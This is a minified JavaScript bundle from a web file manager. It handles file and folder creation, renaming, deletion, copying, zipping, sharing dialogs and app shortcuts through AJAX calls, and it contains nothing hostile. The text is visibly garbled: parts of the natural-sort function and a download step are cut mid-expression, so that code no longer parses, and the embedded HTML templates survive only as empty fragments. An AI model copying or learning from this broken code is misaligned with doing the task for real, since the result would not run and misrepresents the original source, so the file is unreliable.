a=G.this_path;"list_split"==G.user_config.list_type&&(a=ui.fileLight.path($(".file_icon_edit").parents(".split_box"))),"folder"==t?i.newFolder(a+e,m):i.newFile(a+e,m)}};ui.fileLight.setInView($(".fileContiner .file_icon_edit")),f.focus().autoTextarea(),f.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),v(f.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){v(f.attr("value"))})},h=function(){var e="",t=ui.fileLight.fileListSelect(),a=ui.fileLight.name(t),o=core.pathFather(ui.fileLight.path(t)),s=ui.fileLight.type(t);if(1==t.length&&n()){if(t.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var r=htmlEncode(rtrim(a,".oexe")),l="";"icon"==G.user_config.list_type&&(l="",t.css({height:t.height()})),$(t).addClass("file_icon_edit").find(".title").html("
    "+l+"
    ");var c=$("#pathRenameTextarea");"list_split"==G.user_config.list_type&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=a.length;"folder"!=s&&-1!=a.indexOf(".")&&(d=a.length-s.length-1),s||0!=a.indexOf(".")?c.textSelect(0,d):c.textSelect(0,a.length);var p=function(n){if("oexe"==s&&(n+=".oexe"),n!=a)e=o+a,n=o+n,i.rname(e,n,m);else{var r=a;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(t).removeClass("file_icon_edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(a=a.replace(".oexe","")),$(t).removeClass("file_icon_edit").find(".title").html(a))}).unbind("blur").blur(function(){p(c.val())})}},m=function(e){ui.fileLight.clear(),ui.f5Callback(function(){r(e),"explorer"==Config.pageApp&&ui.tree.checkIfChange(G.this_path)})},v=function(e){var i={},t=[];e.sort(function(e,i){return e.path==i.path?0:e.path>i.path?1:-1});for(var a=function(e){for(var t=e;""!=e;){if(i[e]!==void 0)return 1==i[e]?!0:t==e?(i[e]=1,!1):!0;e=core.pathFather(e)}return!1},n=0;e.length>n;n++)if("folder"==e[n].type){var o=rtrim(e[n].path,"/")+"/";i[o]||a(o)||(i[o]=0)}for(var n=0;e.length>n;n++){var o=e[n].path;"folder"==e[n].type&&(o=rtrim(o,"/")+"/"),a(o)||t.push(e[n])}return t},_=function(e){if(e){var i=[];return 0==ui.fileLight.fileListSelect().length?i:(ui.fileLight.fileListSelect().each(function(){var e=ui.fileLight.path($(this)),t="folder"==ui.fileLight.type($(this))?"folder":"file";i.push({path:e,type:t})}),v(i))}if(1!=ui.fileLight.fileListSelect().length)return{path:"",type:""};var t=ui.fileLight.fileListSelect(),a=ui.fileLight.path(t),n=ui.fileLight.type(t);return{path:a,type:n}},g=function(e,i){for(var t in G.json_data)if("filelist"==t||"folderlist"==t)for(var a=0;G.json_data[t].length>a;a++)if(G.json_data[t][a][e]==i)return G.json_data[t][a]};return{makeParam:_,history:s,getJsondataCell:g,checkSystemPath:n,appEdit:function(e){if(e)i.appEdit(0,0,"user_add");else{var t=ui.fileLight.fileListSelect().attr("data-app"),a=jsonDecode(base64Decode(t));a.path=ui.fileLight.path(ui.fileLight.fileListSelect()),i.appEdit(a)}},appList:function(){i.appList(_().path)},appInstall:function(){i.appInstall(_().path)},openEditor:function(){t.openEditor(_().path)},openWindow:function(){var e=_();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(t.openWindow(e.path),void 0)},open:function(e){if("editor"==Config.pageApp)return t.open(e),void 0;if(void 0!=e)return t.open(e),void 0;if(0!=ui.fileLight.fileListSelect().length){var i=_(),a=ui.fileLight.fileListSelect();if(inArray(core.filetype.image,i.type))return ui.picasa.initData(),ui.picasa.play($(a).find(".picasaImage")),void 0;if(0!=$(a).find(".file_not_exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("oexe"==i.type){var n=a.attr("data-app");i.path=jsonDecode(base64Decode(n))}("list_split"!=G.user_config.list_type||"folder"!=i.type)&&t.open(i.path,i.type)}},play:function(){if(!(1>ui.fileLight.fileListSelect().length)){var e=[];ui.fileLight.fileListSelect().each(function(){var i=ui.fileLight.type($(this));if(inArray(core.filetype.music,i)||inArray(core.filetype.movie,i)){var t=ui.fileLight.path($(this)),a=core.path2url(t,!1);e.push({url:a,name:core.pathThis(t),ext:i})}}),t.play(e)}},pathOperate:i,share:function(){i.share(_())},setBackground:function(){var e=core.path2url(_().path);ShareData.frameTop("",function(i){i.ui.setWall(e)}),ui.setWall(e),i.setBackground(e)},createLink:function(e){var t=_(),a=ui.fileLight.fileListSelect().last();t.name=trim(a.find(".filename").text()),i.createLink(t.path,t.name,t.type,e,m)},createProject:function(){i.createProject(_().path,m)},download:function(){var e=_(!0);1==e.length&&"file"==e[0].type?t.download(_().path):i.zipDownload(e)},shareEdit:function(){var e=g("path",_().path);try{var t=G.json_data.share_list[e.sid];i.shareBox(t)}catch(a){}},shareOpenWindow:function(){var e=g("path",_().path),i=e.type;"folder"==e.type&&(i=1==e.code_read?"code_read":"folder");var t="./index.php?share/"+i+"&user="+G.json_data.info.id+"&sid="+e.sid;window.open(t)},shareOpenPath:function(){var e=_(),i=g("path",e.path);if(!i||!G.json_data.share_list)return t.open(e.path,e.type),void 0;var a=G.json_data.share_list[i.sid],n=core.pathFather(a.path),o=core.pathThis(a.path);"folder"==a.type?ui.path.list(a.path,""):ui.path.list(n,"",function(){r(o)})},explorer:function(){core.explorer(_().path)},explorerNew:function(){window.open("index.php?/explorer&path="+_().path)},openProject:function(){core.explorerCode(_().path)},search:function(){core.search("",_().path)},fav:function(){var e=_(),t=ui.fileLight.fileListSelect().last();e.name=trim(t.find(".filename").text()),i.fav(e)},recycleClear:function(){i.remove([{type:"recycle_clear",path:""}],function(){ui.f5()})},remove:function(e,t){if(n()){var a=_(!0);G.json_data.info&&G.json_data.info.path_type==G.KOD_USER_SHARE&&G.json_data.info.id==G.user_id&&-1==trim(G.this_path,"/").indexOf("/")&&$.each(a,function(e){var i=g("path",a[e].path);void 0!=i&&(a[e].type="share",a[e].path=i.sid)}),i.remove(a,m,e,t)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(t){var a=trim($(this).text());t!=e.length-1?i.favRemove(a,"",!0):i.favRemove(a,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},copy:function(){n()&&i.copy(_(!0))},cute:function(){n()&&i.cute(_(!0),ui.f5)},zip:function(e){i.zip(_(!0),m,e)},unZip:function(e){n()&&i.unZip(_().path,ui.f5,e)},cuteDrag:function(e){i.cuteDrag(_(!0),e,m)},copyDrag:function(e,t){i.copyDrag(_(!0),e,m,t)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(_(!0),e,m,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(_(!0),e,m)})},info:function(){i.info(_(!0))},past:function(){var e=G.this_path;"list_split"==G.user_config.list_type&&($containBox=$(".split_box.split_select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),i.past(e,m)},newFile:function(e){void 0==e&&(e="txt"),f("file",p("newfile",e),e)},newFolder:function(){f("folder",p(LNG.newfolder),"")},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+_().path;window.open(e)},rname:h,list:o,setSearchByStr:c,setSelectByChar:l,setSelectByFilename:r,clipboard:i.clipboard}}),define("app/common/pathOperate",[],function(e){var i=["/","\\",":","*","?",'"',"<",">","|"],t=["/","\\"],a=function(e){var a=function(e,i){for(var t=i.length,a=0;t>a;a++)if(e.indexOf(i[a])>0)return!0;return!1},n=t;return G.system_os&&"windows"==G.system_os&&(n=i),a(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var i=[],t=function(e){return e?e.replace(/"/g,'\\\\"'):e},a=0;e.length>a;a++)i.push({type:t(e[a].type),path:urlEncode(t(e[a].path))});return"data_arr="+jsonEncode(i)},o=function(e,i){for(var t="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,i.length)>a;a++)if(e.charAt(a)!=i.charAt(a)){var n=t.indexOf(e.charAt(a)),o=t.indexOf(i.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>i.charAt(a)?1:e.charAt(a)c)return-1;if(c>d)return 1}for(var p=0,u=Math.max(r.length,l.length);u>p;p++)if(oFxNcL=parseFloat(r[p])||r[p],oFyNcL=parseFloat(l[p])||l[p],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var f=o(oFxNcL,oFyNcL);if(0!=f)return f}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,i){if(e){var t=core.pathThis(e);return a(t)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&e&&e.info&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0)}},l=function(e,i){if(e){var t=core.pathThis(e);return a(t)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof i&&Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&e&&e.info&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0)}},c=function(e,i,t){return e&&i&&e!=i?a(core.pathThis(i))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(i),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&e&&e.info&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0):void 0},d=function(e,i,t,a){if(t=void 0==t?!1:t,a=void 0==a?!1:a,!(1>e.length)){var o=LNG.remove_title,s=LNG.remove_info,r="index.php?explorer/pathDelete",l=n(e);"share"==e[0].type&&(o=LNG.share_remove,s=LNG.share_remove_tips,r="index.php?userShare/del"),a&&(s=LNG.remove_info_force,o=LNG.remove_title_force,r+="&shiftDelete=1"),("recycle_clear"==e[0].type||G.USER_RECYCLE&&G.this_path==G.USER_RECYCLE||G.this_path==core.pathFather(G.myhome)+"recycle_kod/")&&(s=LNG.recycle_clear_info,r="index.php?explorer/pathDeleteRecycle",o=LNG.recycle_clear,"recycle_clear"==e[0].type&&(l={})),e.length>1&&(s+=' ... '+e.length+""); +var c=function(){$.ajax({url:r,type:"POST",dataType:"json",data:l,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(t){if(Tips.close(t),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=t.info;var a=$.dialog.list.share_dialog;void 0!=a&&a.close()}o==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof i&&i(t)}})};t?c():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:o,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:s,ok:c,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},u=function(e){var i=e.path,t=core.pathPre(i);if(t==G.KOD_GROUP_PATH||t==G.KOD_GROUP_SHARE||t==G.KOD_USER_SHARE)return Tips.tips(LNG.path_can_not_action,"warning"),void 0;var a="folder"==e.type?"folder":"file";1>i.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(i),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)f(e.data);else{G.self_share=e.info;var t={path:i,type:a,name:core.pathThis(i)};h(t,function(e){e.code?(G.self_share=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content_info input[name=type]").val(a),$(".content_info input[name=path]").val(i),$(".content_info input[name=name]").val(core.pathThis(i)+"(1)"),"file"==a&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},f=function(i,t){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(i),void 0!=t&&t()})},h=function(e,i){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=i&&i(e)}})},m=function(i){var t=e("./tpl/share.html"),a=template.compile(t),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),i=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var t=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(t),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:i.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var i=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(i=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+i}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),t=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var i=e.val().length;if($.browser.msie){var a=t.createTextRange();a.moveEnd("character",-t.value.length),a.moveEnd("character",i),a.moveStart("character",0),a.select()}else t.setSelectionRange(0,i)})};s(i),r()},v=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},_=function(e,i,t,a,n){if(console.log(e,i,t,a,n),!(1>e.length)){var o,s=G.my_desktop;a&&(s=core.pathFather(e)),o="folder"==t?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+i+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=t),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},g=function(e,i){if(!(1>e.length)){var t=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+t+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof i&&i(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,i){e&&(Tips.loading(LNG.moving),setTimeout(function(){var t="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:t,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof i&&i(e.info)}})},50))},x=function(i){var t={};t.file_info=e("./tpl/fileinfo/file_info.html"),t.path_info=e("./tpl/fileinfo/path_info.html"),t.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>i.length&&(i=[{path:G.this_path,type:"folder"}]);var a="info";1==i.length&&(a="file"==i[0].type?core.pathExt(i[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(i),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="path_info_more",o=LNG.info;1==i.length&&(n="folder"==i[0].type?"path_info":"file_info",o=core.pathThis(i[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(t[n]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(a),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),k(r,i)})},k=function(e,i){var t=$("."+e);t.find(".open_window").bind("click",function(){window.open(t.find("input.download_url").val())}),t.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(t.find("input.download_url").val(),t.find(".qrcode").get(0))});var a=t.find(".file_md5_loading");if(1==a.length){var o=n(i);o+="&get_md5=1",core.fileInfo(o,function(e){a.removeClass("file_md5_loading"),e.code?a.html(e.data.file_md5):a.html(LNG.error)})}var s=t.find("input.download_url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var i=r.createTextRange();i.moveEnd("character",-r.value.length),i.moveEnd("character",e),i.moveStart("character",0),i.select()}else r.setSelectionRange(0,e)}),t.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),t=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:n(i),beforeSend:function(){t.text(LNG.loading)},error:function(){t.text(LNG.button_save)},success:function(e){t.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){t.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var i="index.php?explorer/zipDownload";G.share_page!==void 0&&(i="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var i="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(i="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},N=function(e,i,t){1>e.length||(t||(t="zip"),$.ajax({url:"index.php?explorer/zip&fileType="+t,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},L=function(e,i,t){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&i(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==t&&(n+="&to_this=1"),"unzip_to_folder"==t?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},C=function(e,i,t){i&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(i+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}})},z=function(e,i,t,a){i&&(void 0==a&&(a=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(i+"/")+"&filename_auto="+Number(a),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},T=function(){var e=function(e,i){var t='
    null!
    ';if(0!=e.length){t='
    '+LNG.clipboard_state+LNG[i]+"
    ";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),t+="
    "+o.type+": "+s+""}t+="
    "}return t};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(i){i.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(i.data,i.info)})}})},S=function(e,i,t){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof i&&i(e)}})};return t?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},j=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var i=core.getPathIcon(e.path,e.name);""!=i.icon&&(e.ext=i.icon,e.name=i.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},P=function(e){var i={};return i.type=e.find("input[type=radio]:checked").val(),i.content=e.find("textarea").val(),i.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");i[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");i[e]="checked"==$(this).attr("checked")?1:0}),i},E=function(e){e.find(".type input").change(function(){var i=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+i+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var i=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(i=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:i},function(i){var i=core.path2url(i);e.find(".app_edit_select_icon_input").val(i)})}),e.find(".size-full").unbind("click").bind("click",function(){var i=$(this).prop("checked");i?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},D=function(i,t,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(i=i),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:i})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(P(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=P(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(i.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(i.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof t?t():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),i.group&&n.find("option").eq(i.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+i.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+i.group+"]").attr("selected",!0);break;default:}E(n)},F=function(){core.appStore()},O=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(i){var t=i.data;t=t.replace(/[\/\\]/g,"_"),Tips.close(i);var a={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:t,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.this_path+t);e="./index.php?app/user_app&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(a))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:D,appList:F,appAddURL:O,share:u,shareBox:f,setBackground:v,createLink:_,createProject:g,newFile:r,newFolder:l,rname:c,unZip:L,zipDownload:w,zip:N,copy:p,cute:b,info:x,remove:d,cuteDrag:C,copyDrag:z,past:y,clipboard:T,fav:j,favRemove:S}}),define("app/common/tpl/share.html",[],'
    \n
    \n
    {{LNG.share_title}}
    \n \n
    \n
    \n
    \n {{LNG.share_path}}:\n \n
    \n
    \n
    \n {{LNG.share_name}}:\n \n \n \n \n \n
    \n
    \n\n \n\n \n
    \n \n
    '),define("app/common/tpl/fileinfo/path_info_more.html",[],"
    \n
    \n
    {{LNG.info}}:
    \n
    \n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
    \n
    \n
    \n
    \n
    \n
    {{LNG.size}}:
    \n
    {{size_friendly}} ({{size}} Byte)
    \n
    \n
    \n \n
    \n
    \n
    {{LNG.permission}}:
    \n
    {{mode}}
    \n
    \n
    \n {{if is_root==\"1\"}}\n
    \n
    {{LNG.permission_edit}}:
    \n
    \n
    \n
    \n
    \n {{/if}}\n
    \n"),define("app/common/tpl/app_edit.html",[],"
    \n
    \n
    {{LNG.name}}
    \n
    \n
    \n
    \n
    \n
    {{LNG.app_desc}}
    \n
    \n
    \n
    \n
    \n
    {{LNG.app_icon}}
    \n
    \n \n
    \n
    \n
    \n
    \n
    {{LNG.app_group}}
    \n
    \n \n
    \n
    \n
    \n
    \n
    {{LNG.app_type}}
    \n
    \n \n \n \n \n \n \n
    \n
    \n
    \n
    \n
    {{LNG.app_display}}
    \n
    \n \n \n \n \n
    \n
    \n
    \n
    \n
    {{LNG.app_size}}
    \n
    \n ({{LNG.width}})  \n ({{LNG.height}})\n\n \n \n
    \n
    \n
    \n
    \n \n \n
    {{LNG.app_url}}
    \n
    \n
    \n
    \n
